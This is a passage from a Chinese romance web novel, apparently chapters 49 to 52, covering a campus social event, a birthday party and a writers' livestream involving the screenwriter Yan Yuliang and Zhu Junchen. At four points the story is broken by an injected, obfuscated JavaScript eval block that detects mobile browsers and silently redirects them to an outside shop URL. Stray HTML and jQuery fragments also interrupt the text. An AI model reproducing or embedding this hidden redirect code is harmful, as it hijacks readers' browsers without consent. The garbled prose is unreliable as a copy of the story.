陆择沉吟片刻想起来件事：“今天好像是东西两个校区联谊会，就在学校大礼堂，免费提供甜品餐饮，我看小祝朋友发了个朋友圈，他们好像参加联谊活动去了。” “联谊会？”颜语凉抬了下右眉。 还嫌自己不够受欢迎么？参加联谊会。 怪不得下午给他发的消息没回，原来是参加联谊会去了。 * 大步流星走出办公室所在的教学楼，颜语凉心里憋着口气翻开手机，却在看见祝君忱的消息时，那股气就像被扎了针的气球，哗啦啦全泄了。 祝君忱没有不回他消息，甚至在他发完后的半小时就回了。 颜语凉才是那个忙到两三个小时不回消息的人。 【忱.】：之前不是加了企鹅号么？看你资料卡上写着生日 【忱.】：就记住了 颜语凉不动声色地抿了抿唇，没有回消息，把手机收进口袋，跨步朝礼堂走去。 暮色渐合，礼堂通明的灯火将它勾勒成一座漂亮的光岛。还未走近，闷在墙内的喧嚣混着晚风扑面而来。 学校的礼堂很大，有两层，底层房间少，大部分是大厅，二楼有一个个小房间，用作会议室、放映室、办公室等等，房间外面是走廊，天花板挑高，站在二楼能将大厅尽收眼底。 后门有个楼梯可以直接上二楼，颜语凉瞧见二楼后门敞着，便径直从二楼进了礼堂。 陆择的消息没错，这里确实进行着一场盛大的联谊会，一楼大厅门楣上挂着庆祝的横幅，不知主办方从哪里弄来的七八张长桌，上边摆满了精致的切片蛋糕、五彩缤纷的水果和冒着气泡的饮料。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758125|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>学生们三五成群聚在桌边或谈或笑，每桌都有几个志愿者，招待着每一个前来的人群。 各式各样的声音混杂在一起，洋溢着独属于学生时代的热闹、欢腾。 奔波了一天的疲惫后知后觉地涌上来，颜语凉半趴在有些凉的走廊栏杆上目光往下扫。 祝君忱很好找，几乎不用费什么力气，他本身就长得高很显眼，更别说还有好几个姑娘有意无意地往他的方向看。 他的身姿挺拔，今天穿了一身遮过膝盖的灰色呢绒长大衣，看起来利落帅气。 干巴巴地站在白花花的桌边喝着饮料，不怎么说话，只是听着旁边的人叽里咕噜地说着什么。 颜语凉捻了下手指，下意识就抬起手冲祝君忱的方向挥动一下，声音不高不低地唤了声他的名字：“祝君忱。” 混在鼎沸的人声中微不可闻。 话一出口他才反应过来，礼堂的人太多，太嘈杂，隔着这么远的距离，他的声音根本传不到对方耳边，甚至连自己都听不大清晰。 他遗憾地放下手，思忖着不如直接下去绕到背后吓对方一跳。 就在颜语凉手指垂下的那一刻，他细盯着的人偏过头抬眼扫了过来，心电感应一般瞧见了他。 视线不偏不倚地在空中相撞，那一刻，周遭的喧闹似乎被突然按了静音键，时间像为他们停滞了一秒，颜语凉听到自己的心跳“倏”地重重落了一拍。 难以言喻的甜涌满嗓眼，他想象着祝君忱有顺风耳超能力，乐滋滋地笑起来，干脆重新晃起手来，在耳侧比了个耶。 ＊ 茅涂音，斯文骚包样，大少爷脾气，也是和祝君忱同一个别墅区长大的。 早些年的学生时代，这人总是在节假日带着他到处跑，拽不过来就揪着他的黑历史满嘴：“小心我告诉陆阿姨哦。” 祝君忱不怕他妈，但是脸皮薄怕他妈嘲笑，于是就随他拽着自己跑。 时间久了，跑的地方多了，对方也就成了自己唯一交心一点的朋友。 祝君忱今天也是被他拽过来的。 这人成绩不大好，高中开始就上的私立，大学开始就往国外跑。 前阵子刚回国，不知道今天从哪听来的校区联谊的事，一个一米八几的大高个装得可怜兮兮地跟他说什么从来没见过A大的美女。 祝君忱一见他这副样子想给他一巴掌，又怕脏了自己的手。 他冷言说，巧了他也没见过。 大少爷不信，大少爷硬要来。 到了联谊会，茅涂音便摆起“我是大帅哥”的架子来，一边跟他聊天一边凹造型。 祝君忱没空凹，他在想自己那句“因为企鹅资料所以记住生日”的说辞颜语凉会不会信。 看了眼手机，三个小时了颜语凉依然没有消息过来。 颜语凉最近真的很忙。 祝君忱凝眉想着，都没听见旁边的人在问什么，然后就感觉有人在喊他，声音和颜语凉很像。 他感觉自己幻听了，但还是遂着感觉抬眼望去，一眼就看见了在栏杆上趴着的颜语凉。 对上目光的那一刻，所有的想念、犹豫、担忧一瞬间都变成了惊喜，他张开五指向楼上的人晃晃。 旁边叨叨叨的茅涂音转头看到他露出的笑，话音猛得一止，脸上的表情像是见鬼：“你和谁打招呼呢？” 50. 感情线 大厅的人比楼上往下瞰的时候想象的还多，楼梯口都有人堵着，颜语凉绕了好大一圈才绕到祝君忱面前，裹着外边的秋寒与宴会的暖香格格不入。 “晚上好。”颜语凉走近的时候气息不太稳，他看到祝君忱刚要说话，对方身后那个一个一直看着他的高挑人影往前走了一步。 这人面容姣好、五官细腻，额角有一条很长的须一卷一卷地垂下来，他往前走的时候随意地撩了下这根须。 他不似祝君忱的硬朗英气，而是一种糅合了阴柔与贵气的俊美。 颜语凉不脸盲，反而认人能力很强，他认出来这是七夕和祝君忱一起在小酒馆的人。 他的手里慢悠悠摇着一只剔透的的高脚杯，仿佛里面不是橙汁，而是红酒。 颜语凉看他一眼，目光不由自主地往旁边偏了些，因为他快被对方腕上镶着钻的表闪瞎了。 钻表男先祝君忱一步，向他伸出手：“你好，我叫茅涂音。” 这几日的“上班”经常有这样的自我介绍环节，导致颜语凉脑子没转过来，手已经先伸出去握上了：“你好，我是言……” 方才被堵了话音的祝君忱目光下撤落在他们交叠的手上，颜语凉突然脑筋一绷，醒了，他拗了下口说：“我是颜语凉。” 他习惯性地自我介绍完快速撤手，却没撤成。 茅涂音拽着他的手没放开，不轻不重地捏了一下，然后翻来覆去像欣赏什么艺术品一般，颔首评价道：“你手真好看。” 颜语凉：“……” 他向祝君忱投去求救的目光。 祝君忱看起来似乎也很头痛，脸上的表情在纵容与阻止之间横跳两秒，最后终于抬起手。 颜语凉观察到他的纠结，眼皮子轻轻耷下，挪开了目光，嘴角一下子就往下撇。 ——他不喜欢祝君忱对别人露出这种无奈纵容的表情。 祝君忱手还是伸晚了，茅涂音又把颜语凉的手翻了个面说：“给你看个手相吧，小帅哥。” 饶漫临那次是他太迟钝，后边回想起才反应过来自己是吃醋了。 或许是对这种情绪有过实感，颜语凉这一刻清清楚楚明白自己吃了口大的。 他就含着那口酸不呤当的醋，对茅涂音抬起一个笑说：“看吧。” 余光里，祝君忱胳膊在半空停了一下，收回的时候很轻地往旁边靠，手指扶在了桌边。 颜语凉心虚得不敢抬头去看对方的表情，抿了下唇，眼观鼻鼻观心任茅涂音摆弄自己的右手。 茅涂音研究着，说：“你的生命线很长。” “说明活得久么？” “不，说明你很有活力。” 快饿到低血糖但被说很有活力的颜语凉：“……” “桃花很多，但是你看你的智慧线的分支和感情线交叉了，说明你是个工作狂，所以错过了很多有缘人。” 颜语凉一听，来劲了：“能看最近的吗？” 话间装作不经意地扫了眼祝君忱，这人的目光始终落在自己的手上，让人看不出半点别的情绪。 “……”茅涂音又撩了把自己的龙卷须，手上的钻表闪烁，“如果你还想听我瞎扯的话，我可以看。” 边上沉寂许久的祝君忱终于有了动作，抬头睨他一眼，声音像高秋骤冷的风，冻得人想添件外套：“别看了。” 他拽过颜语凉的手腕，力道其实不大，牵着他往旁边走了两步。 茅涂音对他的表现感到稀奇，道：“人小颜都没说话呢。” 颜语凉没吱声，垂眸看向祝君忱轻握着自己腕骨的手，被醋味撕扯的心脏一下一下重重地跳。 祝君忱一看茅涂音还想上前来拽颜语凉，又把牵着的人往后拉了些：“他内向，别欺负他。” 单方面吃醋的颜语凉单方面被这句话哄好了。 “我哪里……”欺负他？ 茅涂音正要为自己辩解两句，目光在颜语凉逐渐变红的耳根和祝君忱不同寻常的表现之间来回游移，突然顿悟了，提高音量指着祝君忱说：“哦！阿忱你——” 祝君忱看对方眼神就知道他没什么好话，拉着颜语凉转身就走。 颜语凉感觉对方破罐子破摔牵着自己手腕的力道收得更紧了，不像先前那般绅士。 他看了眼被抛在后头的茅涂音：“不用管他吗？” “不用，让他一个人消化一下。”祝君忱在一处摆满面包的餐桌前停下，问他，“吃晚饭了吗？” “消化什么？”颜语凉难得没被美食勾走注意力。 “……消化你内向的事。” 颜语凉乐了：“他智障么？” 祝君忱口齿清晰，字正腔圆：“他智障。” 智障儿童茅涂音消化完追上来的时候颜语凉正咬着面包和祝君忱吐槽自己今天一整天只吃了一顿飞机餐下午还被导师使唤来使唤去的。 茅涂音看到祝君忱偏头给颜语凉递了包饼干，还是撕开了递过去的。 他的冷面发小侧过头眼神几乎含着一池春水说：“今天你生日要不要带你出去吃点好的？” 被盖上“内向”的章的新朋友毫不客气地回应道：“我想吃你前天发我的菠萝排骨。” “那现在回去？” “好。” 茅涂音感觉自己穿越到了另一个时空，这个时空的祝君忱让他如此陌生。 不过没陌生多久，他看见自己的亲亲发小又恢复了熟悉的冷漠，话语就像一个资本主义家，对自己说：“回去了。” 这句话不是催促茅涂音该回去了，而是催促他该送祝君忱回去了。 因为他来的时候许诺对方包接送。 闻言，茅涂音手里的橙汁都不甜了：“这么早回去干什么？” “家里有只猫还没喂。”祝君忱说。 茅涂音奇怪：“你什么时候养猫了？” 旁边含着小饼干的颜语凉开口说：“我的猫。” ？ 茅涂音脑内浮想联翩，又开始打量他们两个。 颜语凉看着他的眼神越来越怪，捏着饼干的手顿住了，有种不祥的预感，怕他说出什么惊世骇俗的话来，慌忙补充道：“我出差寄养在他家的。” 茅涂音大抵是没在联谊会上找到什么乐子，亦或者是找到了但是远没有祝君忱和颜语凉好玩，嘴上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758126|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着要看颜语凉的猫，跟着他们走出了礼堂。 虽然吃了点面包饼干，颜语凉肚子还是空落落的，连轴转了一天的身体在坐上车歇下来的那一刻终于遭不住了，他靠着椅背，昏昏沉沉地睡着了。 茅涂音独自一人坐在驾驶座，之前问了一路猫的事，现在看他们一起坐在了后排，气鼓鼓地抱怨：“真成司机了呗，忱。” 祝君忱没说话。 祝君忱的注意力在颜语凉身上。 “我开的可是卡宴！！！”司机茅涂音气愤地一扭车钥匙，引擎发出低鸣，他转头却见祝君忱根本不在听自己的哀嚎，一直在若有所思地看颜语凉。 颜语凉已经陷入了关机状态，睫毛微长下扫，嘴唇有些没气色地发白。 祝君忱抬眼瞥见茅涂音转过头来，摆弄两下手机，示意他看一下微信消息。 茅涂音疑惑什么事是不能当面说的，但还是依言拿起手机。 【忱.】：他这样睡会脖子疼 【忱.】：开出车位右转的时候，加点速度 茅涂音不解，脖子疼和出门右拐加一脚油门有什么关系，他刚要问，祝君忱的消息又发来了。 【忱.】：谢谢 兄弟都说谢谢了，那还说啥啊，把车掀翻都照做不误。 于是他驶出车位的时候轻微抬了点速度，然后他就知道脖子疼和加速有什么关系了。 内后视镜里，后排软绵绵昏睡的颜语凉因为惯性往左边一歪，靠在了祝君忱肩上。 男生在迷迷糊糊的睡意中似有所觉，哑声咕哝道：“……抱歉。” 感觉颜语凉靠在自己身上的力道轻了，有起身的趋势，祝君忱偏头轻声说：“就这样睡吧。” 颜语凉好不容易松弛下来，困极了，脑子里哪个零件都不想多动一下，闻言乖乖地靠在了祝君忱的肩头。 得逞的祝君忱抬头对在车内后视镜里目击了全程的共犯茅涂音抬手做了个噤声的手势。 茅涂音：…… 要不同归于尽吧。 不知是不是被祝君忱不做人的操作震撼到了还是真的有事，茅涂音只在祝君忱家里沾了一会儿，摸了两下猫就先走了。 想想一个礼拜没见着颜语凉，一见到他就在他脚边转来转去。 颜语凉车上安安稳稳地睡了一刻钟，现在精神好了许多，坐在沙发上，惬意地抱着猫。 他之前说的菠萝排骨是前两天聊天的时候偶然提及的，是祝君忱做的新菜品，当时颜语凉刚跟美术指导进行完一番激烈交流，看到微信里发来的图片，馋得口水直流。 颜语凉摸着想想的爪子，感觉小猫跟前阵子他养的时候毛色还亮一些，偏头看向在厨房里忙碌的祝君忱，突然觉得跟茅涂音相比自己更像个大少爷。 裤兜里的手机嗡响起来，是个陌生的来电，定位在舟山。 “喂？”有可能是剧组的事颜语凉摁下接通。 “您好，请问是颜先生吗？您的快递到了请您下来签收。” “什么快递？”颜语凉每天剧组酒店两头跑，哪有时间网购。 “是贵重物品，先生。好像是生日礼物。” 51. 礼花枪 生日礼物？ 颜语凉有头绪了。 首先买这个快递的人得知道他的酒店在哪，排除地球研究小组里的众人，因为他们没人问过，要买肯定也会送到他家来。 其次这个人得知道他的生日，排除剧组的人，因为他没有公开过自己的生日。 最后，答案显而易见，是祝君忱。 关于酒店位置的事，刚到那会儿对方随口一问住的什么酒店，他随手就把定位发过去了。 关于如何得知他的生日，祝君忱那套企鹅个人资料的说辞勉强能信。 颜语凉思忖片刻，推开厨房门，张口忘言，因为他被香迷糊了。 “我靠，是天堂吗？”颜语凉眼冒红心，“还要多久？” 祝君忱正在等炖煮的排骨，香味已经初见端倪，闻言斟酌一下道：“半小时吧。” 颜语凉感觉自己的胃在抗议，拉着调子道：“求拖进度条。” 祝君忱看他一眼，他拉不了进度条但能拉开右侧的空气炸锅，锅里有一圈圆滚滚的烤馒头：“先吃这个？” “这是我这一周错过的早饭吗？”颜语凉抬手数了一下，“正好六个。” “因为这个锅最多放六个。”祝君忱实话实说。 颜语凉洗了个手，祝君忱潦草地装了个盘，他便拿了个小馒头在边上啃。 祝君忱家的格局和他家里是对称的，所以从他的厨房往外眺和自己家里不一样，视野似乎更开阔一点，能看到百米远的小公园里亮着灯。 颜语凉吃了一周剧组的烧麦豆浆，无比想念新东方大厨祝君忱的手艺，他啃完两个香喷喷的炸馒头后脑海里的Q版小人泪流满面，古言民以食为天诚不欺我。 他抬眼看向正在玩手机等待排骨的祝君忱，问：“你给我买生日礼物了？” 对方正在滑屏幕的手顿住，承认了：“你接到电话了？我以为你不回来所以填的酒店地址。” “哦，”虽然本来就是板上钉钉的猜测，但听到祝君忱承认他还是很开心，颜语凉期待地问，“是什么？” “今辰好全套小说。” 颜语凉骤然抬头，露出震惊脸，看到这人嘴角绷着的笑，没忍住推他：“过去就给它点了！” 祝君忱顺着他的力道往旁边走一步，被颜语凉的表现逗乐，掩唇笑得很轻。 颜语凉盯着他扫下的眼睫，被他眼底闪烁的光亮晃得心头一跳。 说到今辰好，他突然想起来了：“茅涂音不会就是你那个讨厌言不言喜欢今辰好的朋友吧。” 他察觉到对方脸上的笑意滞住一秒又变得自然起来：“嗯，所以你少跟他玩。” “没品。”颜语凉学着茅涂音的样子撩自己额前不存在的须，转身走出了厨房，“快给言不言老师上菜，言不言老师快饿死了。” 隐姓埋名、胡乱甩锅的今辰好本人当然不舍得让言不言老师饿太久，没一会儿就把饭菜端了上来。 祝君忱煮得排骨比想象中还要美味，颜语凉一口菜一口饭吃得无比滋润，聊天的语调都是飘的。 “如果来得及的话应该给你煮碗长寿面。”祝君忱说。 颜语凉乐了：“你怎么跟我奶奶似的。以前我在知杏上学的时候，每次生日她都要给我煮碗面吃。估计就是年年吃所以生命线长吧。”他晃着手，提起下午茅涂音给他看手相的事。 “后来呢？”祝君忱似乎很爱听他讲以前的事，继续问道。 “后来就上大学了，我爱吃啥吃啥，爱去哪玩去哪玩。”颜语凉说得潇洒，实际上每年到生日那天都是别人提醒他“你今天生日啦，生日快乐～” “有一年，大四那一年吧，那会儿剧本杀火了，邹煜安他们吵着要去玩剧本杀，正好我生日在周末就被他们拉着去了。”颜语凉咽下一口饭，抬眼嬉笑怒骂，“什么剧本杀，不就是一场巨大的升级版剧本围读，他们是玩开心了，我玩得像上班。我翻那个剧本忍不住写旁批你知道吗？” 祝君忱弯着眼睛看他：“老师职业素养好高。” “不是职业素养问题，正好是接《账本》那一年，上半年改剧本改得焦头烂额，好不容易摆脱了，跟我说上赶着去上班。”颜语凉现在想起那个青春疼痛爱情悬疑剧还有些头痛。 说话间，他的手机又跳了通电话来，是邹煜安。 颜语凉一指他的名字，说：“这就是始作俑者！” 手指在接通键上一滑，对方的声音便大喇喇地传出来：“颜大爷开门！” 刚刚还在侃侃而谈的颜大爷顿住了：“开什么门？” “家门啊，不然什么门，心门吗？” 回北京还没着家的颜语凉沉默一秒盯着眼下香喷喷的饭不想舍弃，说：“哦，等我十五分钟。” “你在哪呢？” “你在哪鬼混呢！言爷！你的小徒弟在我们手上哦，一手交钱一手交货。”廖寻桃清脆的声音从扬声器传来。 看来是都来了。 颜语凉看了祝君忱一眼，对方打了个手势轻声说让他们都下来玩吧，颜语凉便说：“你们到1006来。” “我好像听见小艳的声音了！”廖寻桃惊道。 外放的颜语凉：…… 第一次完完整整听见自己在颜语凉好友那的外号的祝君忱抬了抬眉。 颜语凉脸上一丝气恼一闪而过，关了扬声器把手机贴到耳边催促：“我在他那，赶紧的。” “哦——”廖寻桃起哄地沉吟。 颜语凉心口一热，扫了一眼祝君忱，心说还好现在切听筒了，不然让对方听见会很尴尬。 好友们是提着蛋糕来的，蛋糕上面摆着两只翻糖制的线条小狗，下边跟着一行字——“24岁也吊打今辰好！” 颜语凉对这个蛋糕很满意，终于放下了护食抱着吃了大半的菠萝排骨。 祝君忱扫过这排黄色果酱写的字，意味不明地笑了一声。 颜语凉从邹煜安手里接过切蛋糕的刀，正琢磨从何下手的时候，看到蛋糕侧面还有几个字——“再接今辰好的剧我是狗！” 空气静默了一秒。 “哈哈哈哈哈哈哈！”邹煜安迸发大笑。 廖寻桃有点包袱，但也没忍住捂脸笑起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758127|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>程和欢脸上也肉眼可见地憋着笑。 于知性子内敛，没敢笑，但是抿了下唇。 想想被几个疯子吓一跳，蹿到祝君忱腿边，被抱起来环在怀里。 颜语凉一个眼刀过去，凌厉的眼神扫过三个正在嬉笑观察他表情的友人还有一个心惊胆战的小徒弟，一副小警察的模样，用刀指着他们，沉声：“哪个傻蛋的主意？” 廖寻桃和程和欢正好站在邹煜安两侧，闻言同时指向他：“这个傻蛋。”把小邹同学推了出去。 邹煜安并不冤枉但是不想一个人下水：“我提的时候你们可都说好啊！” “我可没有。”廖寻桃一脸无辜。 “我也没有。”程和欢也不承认。 颜语凉又把刀指向于知，于知把头摇成拨浪鼓。 了解了状况的颜语凉若有所思地点了下头，直接把那块写着“我是狗”的蛋糕完完整整地切给了邹煜安，刀功了得。 又把“24岁也吊打今辰好”横着切了下来，说：“我得裱起来。” 瞎说的，蛋糕怎么裱。 于是颜语凉这顿饭吃了两个今辰好。 “其实我们还准备了礼花喷枪，”廖寻桃坐在沙发上，毕竟是祝君忱家她的动作没那么自然，“本来准备你一开门我们就给你个惊喜的，但是现在……这里太干净了，不舍得弄乱。”而且太冒昧了。 颜语凉看向她：“感情我那乱呗。” 廖寻桃不要命地点了好几下头，颜语凉正要反驳，想起来自己一墙的、偶尔还会散落的便利贴，讪讪地收了话音。 “在哪？”祝君忱抬头问。 颜语凉现在不想动脑子，都没反应过来对方问的什么东西在哪，就见廖寻桃一边翻着随身的包一边含笑回应：“在这在这！” 她像递什么珍贵的宝贝一般双手奉给祝君忱，祝君忱接过这个软趴趴的小手枪，问：“怎么用？” “你摸把上有没有个珠子，捏碎，然后摇一摇装满气就可以了。” 祝君忱一步一步照做，颜语凉只当他突然来了小孩子心性，没怎么在意，又咬了口蛋糕，目光落在他摆弄小手枪的手上。 动物奶油的蛋糕很好吃，香甜不腻，他正要夸一句顺便问问是哪家店买的，就看祝君忱已经鼓捣好了手上的玩意，对准了他的头顶。 ？ 颜语凉不设防地舔了下嘴角，清甜溢了满口，他有点懵地抬头。 “这样么？”祝君忱说。 只听“砰”的一声，礼花四溅！ 颜语凉被惊得猛眨了下眼，然后就被五彩缤纷的热闹包围了，眼花缭乱，晃得他鼻头一酸。 友人们无比配合，默契齐声道：“生日快乐！” 城市正华灯初上，满目繁华。 不必为劳碌繁忙而意乱心烦，因为我们会宽慰你，用最真诚的祝福来温暖。 在一片欢腾的笑声中，颜语凉想，最美的诗根本用不着深夜冥思苦想地遣词造句，只要挚友们欢聚一堂说——“希望你快乐！” 无关任何，喜乐长安。 祝你祝我祝他。 52. 直播间 因着朋友们这么一通闹，颜语凉差点忘了跟祝君忱说正事。 临走前，廖寻桃还挤眉弄眼地跟他说：“加油哦。” 祝君忱不懂地问：“什么加油。” 颜语凉也不知道，抬起手机看到了廖寻桃的私聊消息：“加油拿下小艳哦～” 他锁上手机，面不改色：“给我们青书决赛加油。” 话题便自然地引到比赛的事上来，由于颜语凉要跟组《海纳百石》，实在顾不上两头，便提前联系了分配到的导演，约了戏剧学院附近的咖啡店明天一聚。 巧的是，这位导演颜语凉之前认识，恰好是《账本》当时跟组学习、话语权不大的副导。 在咖啡店见到颜语凉的时候惊讶道：“这个中短篇剧本居然是言不言老师的作品。” 当时《账本》剧组，小小的颜语凉虽不是导演，但胜似导演，既要跟主演们周旋剧情结构，还要帮半吊子总导演画分镜。 刚入组还是一个腼腆的新人，到后面逐渐熟练地雷厉风行，不知道耗了他多少精力，换来了组里各种人员的刮目相看，包括这个小副导。 别的剧组副导都受导演指挥，他就听颜语凉的，因为总导演也听颜语凉的。 当年目睹颜语凉成长的陈意对他自然很是崇拜，和颜语凉握手寒暄时，心里想着自然居然这么快就第二次合作了，真是天赐良“缘”。 祝君忱听颜语凉说这位导演也参加过《账本》的制作，不禁多看了两眼。 聊天的内容不多，大抵聊了些剧情冲突点、剧组经费分配、演员招募和跟组问题，颜语凉肯定不会有很多时间去组里，他让陈意有事找祝君忱就行，他相信祝君忱能应付得来。 早上匆匆约完会面后，颜语凉定了下午的机票又往舟山赶。 剧本上的东西大事没有，小事不断，都等着他去解决。 尽书网最近推出了一个新的活动，和某短视频网站合作联动，邀请了几个头部作家进行写作分享会，漏不漏脸无所谓，只要开个直播分享写作经验，码会字陪读者聊聊天就行。 颜语凉一到舟山就忙个不停，估计编辑也知道他一直在剧组，活动开展半个月了才来问他有没有意愿参加。 【编编慕唯】：[链接] 【编编慕唯】：你有时间参加吗？你的书粉催半个月了。 他这才抽时间去看一下尽书网的官方博客，在官方宣传上看见了好几个眼熟的名字，包括廖寻桃和蒲惠，两人似乎要将闺蜜情贯彻到底，直接申请了双人直播。直播时间就是今天。 颜语凉心里盘算一下待会问一嘴廖寻桃，手指往右翻，看到了一个熟悉的头像——今辰好也在榜上。 再看评论区，他终于知道为什么他的书粉要催促半个月了，因为他的书粉和今辰好的书粉又在底下吵得不可开交。 忙碌的言不言因迟迟没有参加这个活动被对家粉丝扣上了“过气作家”的帽子。 他颜语凉没干过直播码字的事，有些捉摸不定，但是无缘无故被对面扣了过气的帽子，忍一时风平浪静，退一步越想越气，于是他当即找了廖寻桃问一下写作分享会的事宜。 【廖寻桃】：没事的，你就开在那对着手拍，当个哑巴都有人看 【廖寻桃】：今晚记得来我直播间捧场呀 颜语凉也没当过哑巴，思忖片刻，回了个好。 然后回复编辑。 【我无言以对】：我十一月份应该有空。 【编编慕唯】：（惊喜.jpg） 【编编慕唯】：那就给你压轴吧！ 被排到压轴的颜语凉一喜，这意味着他有足够的时间学习如何直播和准备该分享些什么。 晚上六点半，廖寻桃和蒲惠的直播准时开启，两人一个在言情领域一个在耽美领域圈了好大一批书粉进来，她们没有露脸，只露了半个身子。 颜语凉一边点开直播间，一边打开剧组发下来的盒饭。 看着她们的直播间人数越来越多，在拆筷子的间隙往账号里充了点钱，然后大手一挥挑了个看起来最好看的礼物送了20个。 [我无言以对]送出星夜飘船x20 [老板大气！] [老板大气！！] 廖寻桃还在研究关礼物的功能，一边找一边劝不用送，终于匆匆忙忙设置好了。 “啊感谢这位……”抬眼看到有人送了个这么大的，她连忙去感谢，结果话刚出口看清名字，卡壳了，又点进主页确认没有什么可以深扒的东西，语调就拐了个弯埋怨起来，“言爷，要不直接打我账上呢？” 今天这场直播的钱全归平台，感觉亏了一个亿，肉疼。 [谁？] [我好像幻听了……] 直播间的观众都没怎么听清主播唤的谁，颜语凉平时和廖寻桃在网络上几乎不往来，此刻没人相信两人的互动也正常。 “你这个号要不要去认证一下？”廖寻桃没回答弹幕的问题，径直问颜语凉，调笑道，“这个活动你参加吗？过气的言不言老师。” 弹幕这下切切实实听清了她喊言不言，大多数还是不太相信。 或许是有官方正在密切关注，颜语凉申请认证速度极快，然后没几分钟大家便看见一个加v的作者号冒了出来，而停滞的礼物榜榜首也变成了“言不言”。 [言不言：……我参加。] [真是言不言？] [我草真是言不言！！] [言不言老师，我是你偶像啊！！] [哈哈哈哈哈哈从老师的省略号里看出了对过气作家的抗拒。] [言爷开文去好吗？] [宝贝什么时候开文？] [宝贝去哪鬼混了，想死你了过来嘴一个！] 老大爷颜语凉被年轻人的热情吓到了，发觉自己待在这里太抢风头，什么问题也没答发了个拜拜的表情包便迅速地退出了直播间。 倒是廖寻桃替他答了两句：“言不言老师最近在跟组，除非他有分身，不然开不了文。” 众人见言不言直播间头像变成灰色，便不再追着颜语凉吵，转而追着廖寻桃问这问那。 蒲惠的胆子比于知还小一点，话也不敢说，全靠闺蜜撑场子，这也是廖寻桃商量着说和她一起播的原因。 关于颜语凉的事情廖寻桃全部一扫而过，转而专门回答询问她和蒲惠的问题，很快，直播间关于言不言的问题就少了。 但几条热搜缓缓升起。 ＃一朵桃直播间惊现言不言 ＃言不言回应写作分享会 《海纳百石》制片工作室当然不舍得放过这波热度，蹭了两条。 ＃言不言为什么没空开文？ ＃《海纳百石》编剧言不言 结果引起言不言书粉对今辰好给言不言塞剧本的讨伐，今辰好的书粉哪咽得下这口气，回骂他们“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758128|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得了便宜还卖乖”，两家粉丝便又双叒叕吵了起来。 颜语凉不清楚这些，只清楚片场下一幕那个剧情拍得不好的话可以怎么替换。 最近《小姐小姐》正在筹拍，祝君忱有时候上完课还得往二十几公里远的戏剧学院跑，也变得忙起来，偶尔会给颜语凉发一些进展，但他一个脑子全扑在片场，总是半半拉拉地回。 今天他找了个借口给自己休了一个晚上的假。 借口是——今晚今辰好作家分享大会直播，作为一个合格的对家，他得去蹲着。 又在剧组吃了快一周的工作餐，颜语凉打算去外边找点新鲜的大餐好好吃一顿，他挑中了一家土菜馆餐厅，点了几道菜。 一边等上菜一边等今辰好开直播，比真爱粉来得还早。 谁知六点四十都过了，颜语凉饭都快吃完了，直播间还是没什么动静。 颜语凉感觉自己被耍了，上博客一看才知道对方称有事把时间往后推了半小时。 他有些郁闷地走出菜馆，接到了剧组的电话：“言不言老师，有问题，能不能把下一场下水戏改到室内？还有下下场体量太大了，找不到那么多群演……” 等了半天没等到直播的颜语凉觉得还不如回去上班，手机一锁，只当自己今晚跑出来是为了吃饭。 他手机的媒体音量没开，如果他开了，就会听到就在他锁屏的那一瞬间，直播间传来了细碎的动静。 直播间开播前看不了在线的观众，开播后就能在右上角看到在线蹲守的粉丝。 祝君忱开播前就把礼物什么的关了，所以这会儿右上角的在线观众是按等级排序的。 颜语凉前天往账号里充了一笔不小的钱，而且还是认证账号，忘记清后台的他直接被排在了直播间第一个。 于是所有人都看到言不言这三个金字在右上角第一个挂着，跟尽书网的脚印榜一样招摇，纷纷发起了问号。 [？？？] [？？？？？] [这里能刷那个什么难劝吗？] [？？？偷偷刷一个有人看见吗？] [刷你个头，傻逼。] 祝君忱看有人吵起来了，奇怪地在电脑文档上写“怎么了？” 并放了个写着解释的图片——[抱歉，最近感冒嗓子坏了，今天只能用这种方式跟大家分享写作相关，鞠躬致歉。] 弹幕纷纷对听不到他的声音感到遗憾，随即让他去看有谁在观众席。 祝君忱三下五除二点开直播间的观众席，言不言的名字赫然在首。 